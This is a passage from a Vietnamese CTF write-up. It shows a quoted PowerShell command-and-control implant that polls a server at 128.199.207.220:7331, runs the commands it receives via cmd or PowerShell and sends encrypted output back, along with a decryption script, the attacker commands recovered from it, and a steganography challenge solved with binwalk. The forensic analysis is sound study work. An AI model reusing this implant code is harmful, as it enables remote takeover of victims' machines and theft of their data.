"http://$serverIP:$serverPort/results/$currentTask" while ($true) { $taskContent = Invoke-WebRequest -UseBasicParsing -Uri $taskUri -Method 'GET' | Select-Object -ExpandProperty Content if (-not [string]::IsNullOrEmpty($taskContent)) { $decryptedTask = Decrypt $key $taskContent $taskArgs = $decryptedTask -split " " $taskType = $taskArgs[0] if ($taskType -eq 'shell') { $filePath = 'cmd.exe' $arguments = "/c $taskArgs" $result = Shell $filePath $arguments $encryptedResult = Encrypt $key $result $resultBody = @{ 'result' = $encryptedResult } Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST' } elseif ($taskType -eq 'powershell') { $filePath = 'powershell.exe' $arguments = "/c $taskArgs" $result = Shell $filePath $arguments $encryptedResult = Encrypt $key $result $resultBody = @{ 'result' = $encryptedResult } Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST' } elseif ($taskType -eq 'sleep') { $delay = [int]$taskArgs[1] $resultBody = @{ 'result' = "" } Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST' } elseif ($taskType -eq 'rename') { $currentTask = $taskArgs[1] $taskUri = "http://$serverIP:$serverPort/tasks/$currentTask" $resultUri = "http://$serverIP:$serverPort/results/$currentTask" $resultBody = @{ 'result' = "" } Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST' } elseif ($taskType -eq 'quit') { exit } } Start-Sleep $delay } ``` Đoạn code này làm những tác vụ sau: - Tạo một AES Object bằng hàm `Create-AesManageObject` - Mã hoá/Giải mã tin nhắn bằng hàm `Encrypt/Decrypt` - Chạy một lệnh và lưu output lại trong hàm `Shell` - Khi script này chạy, script sẽ liên tục connect đến địa chỉ IP `128.199.207.220` tại port `7331`, nhận một lệnh từ máy chủ, sau đó execute, lấy output, mã hoá và gửi lại về server. Lúc này mình đã hiểu ý nghĩa của các packet trong file PCAP, đây là connect giữa máy victim và máy của attacker, và key ở trong file Powershell chính là chìa khoá để giải mã các packet đấy. Mình tổng hợp lại các packet chứa data bị encrypted bằng filter: `(ip.dst == 128.199.207.220) || (ip.src== 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU")` Sau đó mình viết 1 python script để decrypt chúng: ```python= from Crypto.Cipher import AES from base64 import b64decode import urllib.parse key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=") iv = bytes([i for i in range(16)]) cipher = AES.new(key, AES.MODE_CBC, iv = iv) def decrypt(cipher, b64): return cipher.decrypt(b64decode(urllib.parse.unquote(b64))) b1 = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es" b2 = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs" b3 = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj" b4 = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi" b5 = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D" b6 = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe" b7 = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn" b8 = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf" b9 = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3" # The most important one is b9 command_executed = [b1, b2, b3, b4, b5, b6, b7, b8, b9] for cmd in command_executed: print(decrypt(cipher, cmd)[16:].decode()) print(decrypt(cipher, b9)[16:].decode()) ``` Đây là output của các command mà attacker đã exec: ```= VALID Max(K) Retain OverflowAction Entries Log ------ ------ -------------- ------- --- 20,480 0 OverwriteAsNeeded 3,340 Application 20,480 0 OverwriteAsNeeded 0 HardwareEvents 512 7 OverwriteOlder 0 Internet Explorer 20,480 0 OverwriteAsNeeded 0 Key Management Service 128 0 OverwriteAsNeeded 48 OAlerts Security 20,480 0 OverwriteAsNeeded 3,280 System 15,360 0 OverwriteAsNeeded 2,495 Windows PowerShell VALID shell whoami VALID mrlminhtuan-pc\ieuser VALID powershell pwd VALID Path ---- C:\Users\IEUser\Documents VALID powershell dir VALID Directory: C:\Users\IEUser\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/2/2023 10:13 AM Custom Office Templates -a---- 5/24/2023 9:36 AM 2100 Calc.txt -a---- 6/2/2023 3:46 PM 112707 clean.jpg -a---- 1/3/2022 6:53 AM 843332 Lux.jpg -a---- 6/2/2023 3:48 PM 345 Math Test.png -a---- 6/2/2023 3:46 PM 75974 otp.jpg -a---- 5/24/2023 9:35 AM 427 Todo.txt -a---- 5/23/2023 4:57 PM 102831 xinomifinancialreport2023.pdf VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join '' VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0ec3200845fdff9feeba7455ee4313c499b46e96e31820b7adc1b8eef1bde3b7715f8c247af5f1408fc930e50d5edb2adafafc2e8e59afc01c456340d8edffa06886c1398bc6475c1218b8655e532856d6fa5ad67002bd64c440609ac8ae80b2530e462084b280faa28b0700b7e63fb28f8e8fd19de822ae9bdf4ba131380ccddacd6fbd806afa19e694416b3d80b2a1066bea701a451730199c03129012ca4d8d0b4e83144ece163a3b465ce8c6fd12aa25a6874e85a586fa06869bb18898e424515d64a9e2a643ad740bf52dc54915b6f21aaa72a042ac1dace77513f5bae75eecb88dd750efac968b29ce12ea5e7ef45818693986aa84f086f442700465c1d4f210d9d844ed816adae844240be8acd8384c3a6fa31f99524e0722949b720000000049454e44ae426082 ``` Đoạn code hex ở cuối chính là flag mà chúng ta đang tìm, mình decode bằng câu lệnh `echo -n "HEX" | xxd -r -p > final.jpg`. Output là một file ảnh chứa mã QR: ![](https://cdn.discordapp.com/attachments/1115650271322849310/1127933122441400390/final.jpg) Quét QR và có được flag. ### flag: `CHH{D0n't_w0rRy_n0_st@r_wh3rE}` # Steganography ## CuteK1tty Từ đề bài giải nén ra 1 file `.png`: ![](https://media.discordapp.net/attachments/1115650271322849310/1128002703256195162/cut3_c4t.png?width=800&height=560) Theo kinh nghiệm của mình,`binwalk` file ảnh trước là một lựa chọn không tồi: ``` DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 640 x 448, 8-bit/color RGBA, non-interlaced 41 0x29 Zlib compressed data, compressed 167499 0x28E4B RAR archive data, version 5.x ``` Phát hiện trong file ảnh có ẩn 1 file rar, mình extract, sau đó giải nén file rar và được 2 file `purrr_2.mp3` và `y0u_4r3_cl0s3.rar` Phát hiện file `.rar` bị corrupt, dùng hex editor để check xem vấn đề ở đâu: ![](https://media.discordapp.net/attachments/1115650271322849310/1128002991153238066/image.png?width=1440&height=438) Thông thường, 1 file RAR sẽ có signature bytes là `52 61 72 21 1A 07 01 00`, tuy nhiên ở đây đã bị thay đổi, mình sửa lại cho đúng, lúc này file RAR đã mở được, nhưng yêu cầu mật khẩu. Phân tích file `purrr_2.mp3` khi xem [Spectrogram](https://academo.org/demos/spectrum-analyzer/) thấy dòng chữ:`sp3ctrum_1s_y0ur_fr13nd`. Nhập pass trên để mở file `.rar` ta được flag *(flag đã bị encode bằng Base64)*: ![](https://hackmd.io/_uploads/HJ0AziFK3.png) ### flag: `CHH{f0r3n51cs_ma5t3r}`